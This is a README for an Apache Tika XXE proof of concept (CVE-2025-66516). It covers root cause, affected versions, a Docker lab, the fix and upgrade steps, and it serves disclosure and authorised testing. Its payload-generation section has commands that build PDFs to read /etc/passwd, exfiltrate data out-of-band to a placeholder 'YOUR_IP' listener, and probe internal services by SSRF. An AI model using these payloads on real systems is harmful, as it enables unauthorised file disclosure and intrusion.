## https://sploitus.com/exploit?id=27F3F947-24B5-552D-853E-5256F931AD20
# CVE-2025-66516 / CVE-2025-54988 - Apache Tika XXE Vulnerability
Critical XML External Entity (XXE) vulnerability in Apache Tika via XFA content in PDF files.
## Vulnerability Overview
| Property | Value |
|----------|-------|
| **CVE ID** | CVE-2025-66516 (Tika), CVE-2025-54988 (Root Cause) |
| **CVSS Score** | 10.0 (Critical) |
| **Vulnerability Type** | XML External Entity (XXE) Injection |
| **Attack Vector** | Malicious XFA content embedded in PDF files |
## Root Cause Analysis
The vulnerability exists in Apache Tika's `XMLReaderUtils.java` where the `XMLResolver` returns an **incorrect type**:
```java
// VULNERABLE CODE (Tika 1.13 - 3.2.1):
private static final XMLResolver IGNORING_STAX_ENTITY_RESOLVER =
(publicID, systemID, baseURI, namespace) -> ""; // Returns String!
```
**The Problem**: `XMLResolver.resolveEntity()` should return:
- `null` - to let the parser resolve normally
- `InputStream` - with entity content
- `InputSource` - (for SAX)
When it returns an **empty String**, some StAX parser implementations:
- โ **Woodstox**: Uses the String as empty entity content (secure)
- โ **JDK Built-in StAX**: **Silently ignores** the wrong return type and proceeds to resolve entities (VULNERABLE!)
## Affected Versions
| Component | Affected Versions | Fixed Version |
|-----------|-------------------|---------------|
| **tika-core** | 1.13 - 3.2.1 | 3.2.2+ |
| **tika-pdf-module** | 2.0.0 - 3.2.1 | 3.2.2+ |
| **tika-parsers** | 1.13 - 1.28.5 | 2.0.0+ |
**Important**: The vulnerability is only exploitable when Tika uses **JDK's built-in StAX parser** instead of Woodstox. By default, Tika bundles Woodstox which is NOT vulnerable to this specific bypass.
## Impact
When a malicious PDF containing crafted XFA data is processed by a vulnerable Tika instance:
- **Arbitrary File Disclosure** - Reading sensitive files from the server
- **Server-Side Request Forgery (SSRF)** - Making requests to internal/external systems
- **Denial of Service (DoS)** - Resource exhaustion via entity expansion
## Docker Testing Environment
This repository includes a Docker-based environment for testing and verification.
### Prerequisites
- Docker
- Docker Compose
- Python 3.x (for PoC builder)
### Quick Start
```bash
# Start the VULNERABLE Tika server (JDK StAX)
cd docker
docker compose up -d xxe-vulnerable
# Wait for startup
sleep 15
# Verify vulnerability
cd ..
python3 builder_cve2025_66516.py --mode file --file /etc/passwd --output /tmp/test.pdf
curl -s -X PUT -T /tmp/test.pdf http://localhost:9994/tika
```
### Available Services
| Service | Port | Description |
|---------|------|-------------|
| `xxe-vulnerable` | 9994 | **VULNERABLE** Tika 3.2.1 with JDK StAX |
| `tika-woodstox` | 9997 | Tika 3.2.1 with Woodstox (NOT vulnerable) |
| `tika-patched` | 9998 | Patched Tika 3.2.2+ |
| `oob-listener` | 8080 | HTTP listener for blind XXE detection |
### Docker Commands
```bash
# Start vulnerable server
docker compose up -d xxe-vulnerable
# Start all services for comparison testing
docker compose up -d
# View logs
docker compose logs -f xxe-vulnerable
# Stop all services
docker compose down
```
## Generating PoC Payloads
```bash
# File read (direct)
python3 builder_cve2025_66516.py --mode file --file /etc/passwd --output poc_passwd.pdf
# OOB exfiltration (blind XXE)
python3 builder_cve2025_66516.py --mode oob --ip YOUR_IP --port 8080 --output poc_oob.pdf --write-dtd
# SSRF
python3 builder_cve2025_66516.py --mode ssrf --url http://internal-service:8080/api --output poc_ssrf.pdf
# Generate all payload types
python3 builder_cve2025_66516.py --mode all --output-dir pocs/
```
## Testing
```bash
# Test file read against vulnerable server
curl -X PUT -T poc_passwd.pdf http://localhost:9994/tika
# Test against patched server (should NOT work)
curl -X PUT -T poc_passwd.pdf http://localhost:9998/tika
```
## The Fix (Tika 3.2.2+)
The fix in Tika 3.2.2 removes reliance on `XMLResolver` and uses standard JAXP security properties:
```java
// FIXED CODE (Tika 3.2.2+):
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
```
## Mitigation
### Recommended Actions
1. **Upgrade immediately** to Apache Tika 3.2.2 or later
2. **Update all modules** - ensure `tika-core` is updated (not just `tika-pdf-module`)
3. **Verify dependencies** - check your dependency tree for transitive Tika dependencies
### Maven Update
```xml
org.apache.tika
tika-core
3.2.2
```
### Gradle Update
```groovy
implementation 'org.apache.tika:tika-core:3.2.2'
```
## References
- [NVD - CVE-2025-66516](https://nvd.nist.gov/vuln/detail/CVE-2025-66516)
- [NVD - CVE-2025-54988](https://nvd.nist.gov/vuln/detail/CVE-2025-54988)
- [GitHub Advisory](https://github.com/advisories/GHSA-f58c-gq56-vjjf)
- [Apache Tika Security](https://tika.apache.org/security.html)
- [Apache Tika GitHub](https://github.com/apache/tika)
## Key Finding
**Critical**: The default Tika distribution bundles Woodstox which correctly handles the XMLResolver return type. The vulnerability is only exploitable in environments where:
1. Woodstox is disabled or removed
2. JDK's built-in StAX parser is used instead
3. Or another StAX implementation that ignores wrong return types is used
This significantly reduces the real-world attack surface but doesn't eliminate the vulnerability - the fix in 3.2.2 is still essential.
## Disclaimer
This repository is for **educational and authorized security testing purposes only**. Only test against systems you own or have explicit permission to test.
## License
MIT License